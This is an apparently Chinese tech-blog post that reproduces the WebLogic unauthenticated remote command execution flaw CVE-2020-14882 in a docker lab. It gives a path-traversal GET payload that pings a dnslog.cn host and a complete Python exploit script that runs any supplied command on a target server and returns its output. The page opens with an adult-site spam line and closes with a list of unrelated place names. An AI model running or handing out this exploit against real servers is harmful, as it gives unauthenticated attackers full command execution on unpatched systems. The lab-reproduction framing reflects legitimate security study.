91超碰碰碰碰久久久久久综合_超碰av人澡人澡人澡人澡人掠_国产黄大片在线观看画质优化_txt小说免费全本

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

weblogic未授權命令執行漏洞CVE-2020-14882是怎樣的

發布時間:2021-12-29 17:49:05 來源:億速云 閱讀:175 作者:柒染 欄目:安全技術

這篇文章給大家介紹weblogic未授權命令執行漏洞CVE-2020-14882是怎樣的,內容非常詳細,感興趣的小伙伴們可以參考借鑒,希望對大家能有所幫助。

未經身份驗證的遠程攻擊者可能通過構造特殊的 HTTP GET請求,利用該漏洞在受影響的 WebLogic Server 上執行任意代碼。

用docker搭建的環境  ../vulhub/weblogic/CVE-2020-14882

訪問登錄界面http://192.168.81.129:7001/console/login/LoginForm.jspweblogic未授權命令執行漏洞CVE-2020-14882是怎樣的
3.pyload是 /console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27ping 0cs5r3.dnslog.cn%27);%22);
weblogic未授權命令執行漏洞CVE-2020-14882是怎樣的

我也是根據網上各大佬發布的文章弄得,可是在dnslog中并沒有記錄,最后我進到docker容器中進行ping命令,發現在docker中不能ping。

weblogic未授權命令執行漏洞CVE-2020-14882是怎樣的

既然不能ping那就用python進行復現(還好自己了解點python,要不然就撞墻了)

#!/usr/bin/python3
import requests
import sys
import http.client

http.client.HTTPConnection._http_vsn = 10
http.client.HTTPConnection._http_vsn_str = 'HTTP/1.0'
if len(sys.argv) != 3:
print("[+] Usage : python3 exploit.py http(s)://target:7001 command")
exit()
target = sys.argv[1]
command = sys.argv[2]
request = requests.session()
headers_cmd = {
'User-Agent': 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0',
'cmd': command,
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Content-Type': 'application/x-www-form-urlencoded'
}
cmd="""/console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); 
weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); 
java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
Object obj = field.get(adapter);
weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); 
String cmd = req.getHeader("cmd");
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("%5C%5CA").next(); 
weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);
res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
res.getServletOutputStream().flush();} 
currentThread.interrupt();')
"""
url_cmd = target+cmd
response = request.get(url_cmd, headers=headers_cmd, verify=False)
print(response.text)
print("[+] Attack complete!")

weblogic未授權命令執行漏洞CVE-2020-14882是怎樣的
最后我想如果不用docker搭建環境,直接用系統是不是就可以ping了...

關于weblogic未授權命令執行漏洞CVE-2020-14882是怎樣的就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

云安县| 黑水县| 化德县| 新竹市| 江源县| 墨江| 阿克苏市| 石嘴山市| 西贡区| 邻水| 晋城| 中江县| 新干县| 乡宁县| 灵川县| 融水| 常州市| 增城市| 甘泉县| 五台县| 栾川县| 荆门市| 贺州市| 隆安县| 微山县| 武平县| 崇阳县| 上蔡县| 延寿县| 二连浩特市| 华安县| 莱州市| 彰化县| 深水埗区| 阿坝县| 大庆市| 临海市| 连南| 三亚市| 龙海市| 聂拉木县|